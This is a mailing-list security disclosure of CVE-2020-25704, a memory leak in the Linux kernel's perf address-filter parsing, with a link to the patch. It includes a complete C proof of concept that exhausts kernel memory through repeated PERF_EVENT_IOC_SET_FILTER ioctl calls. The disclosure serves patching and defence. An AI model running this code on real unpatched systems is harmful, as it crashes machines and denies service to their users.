<!--X-Body-Begin-->
<!--X-User-Header-->
oss-sec
mailing list archives
<!--X-User-Header-End-->
<!--X-TopPNI-->
By Date
By Thread
</form>
<!--X-TopPNI-End-->
<!--X-MsgBody-->
<!--X-Subject-Header-Begin-->
[CVE-2020-25704] Linux kernel: perf_event_parse_addr_filter memory leak
<!--X-Subject-Header-End-->
<!--X-Head-of-Message-->
From: kiyin(尹亮) <kiyin () tencent com>
Date: Mon, 9 Nov 2020 10:39:36 +0000
<!--X-Head-of-Message-End-->
<!--X-Head-Body-Sep-Begin-->
<!--X-Head-Body-Sep-End-->
<!--X-Body-of-Message-->
CVE assigned:
CVE-2020-25704
Patch:
https://git.kernel.org/pub/scm/linux/kernel/git/tip/tip.git/commit/?id=7bdb157cdebbf95a1cd94ed2e01b338714075d00
Details:
Hi,
There is a memory leak in perf_event_parse_addr_filter. Here is the detail.
https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/kernel/events/core.c?h=v5.9.3#n9991
9991 static int
9992 perf_event_parse_addr_filter(struct perf_event *event, char *fstr,
9993 struct list_head *filters)
9994 {
......................................................................................................................................................................................................................
10058 if (token == IF_SRC_FILE || token == IF_SRC_FILEADDR) {
10059 int fpos = token == IF_SRC_FILE ? 2 : 1;
10060
10061 filename = match_strdup(&args[fpos]); <--------------- match_strdup
allocates memory for filename
10062 if (!filename) {
10063 ret = -ENOMEM;
10064 goto fail;
10065 }
10066 }
......................................................................................................................................................................................................................
10089 if (filter->action == PERF_ADDR_FILTER_ACTION_FILTER && <--------------- if
filter->action == PERF_ADDR_FILTER_ACTION_FILTER and filter->size is zero, go to failed branch
10090 !filter->size)
10091 goto fail;
10092
......................................................................................................................................................................................................................
10140 fail_free_name:
10141 kfree(filename);
10142 fail: <--------------- filename is
not freed in the failed branch. that causes a memory leak.
10143 free_filters_list(filters);
10144 kfree(orig);
10145
10146 return ret;
10147 }
the length of filename is no limit. using the following test code, it will take 40 seconds to exhaust 16GB memory in my
laptop: CPU intel i5 10210U,Ubuntu 20.04, kernel version 5.4.0-42-generic. then I have to press power button to reboot
the system manually.
#include <sys/ioctl.h>
#include <linux/perf_event.h>
#include <unistd.h>
#include <string.h>
#define __NR_perf_event_open 298
static long perf_event_open( struct perf_event_attr *hw_event, pid_t pid, int cpu, int group_fd, unsigned long flags ) {
int ret;
ret = syscall( __NR_perf_event_open, hw_event, pid, cpu, group_fd, flags );
return ret;
}
char buf[11 + 1024 * 1024 * 16 + 1] = { 0 };
int main( void )
{
int fd1, i;
struct perf_event_attr pe1 = { 0 };
pe1.type = 9; // may be different in other system. just run" cat /sys/bus/event_source/devices/intel_pt/type"
pe1.exclude_kernel = 1;
pe1.exclude_hv = 1;
pe1.exclude_idle = 1;
fd1 = perf_event_open( &pe1, getpid(), -1, -1, 0 );
if ( fd1 > 0 )
{
memset( buf, 'A', 11 + 1024 * 1024 * 16 ); //filename length is 16MB
memcpy( buf, "filter,0/0@", 11 );
for ( i = 0; i < 1024; i++ )
{
ioctl( fd1, PERF_EVENT_IOC_SET_FILTER, buf ); //leak 16MB*1024=16GB
}
buf[11 + 1024 * 1024] = '\0'; //filename length is 1MB
for ( i = 0; i < 16; i++ )
{
ioctl( fd1, PERF_EVENT_IOC_SET_FILTER, buf ); //leak 1MB*16=16MB
}
buf[11 + 1024] = '\0'; //filename length is 1KB
while ( 1 )
ioctl( fd1, PERF_EVENT_IOC_SET_FILTER, buf ); //leak the rest
}
return 0;
}
Regards,
kiyin.
<!--X-Body-of-Message-End-->
<!--X-MsgBody-End-->
<!--X-Follow-Ups-->
<!--X-Follow-Ups-End-->
<!--X-References-->
<!--X-References-End-->
<!--X-BotPNI-->
By Date
By Thread
Current thread:
[CVE-2020-25704] Linux kernel: perf_event_parse_addr_filter memory leak 尹亮 (Nov 09)
<!--X-BotPNI-End-->
<!--X-User-Footer-->
<!--X-User-Footer-End-->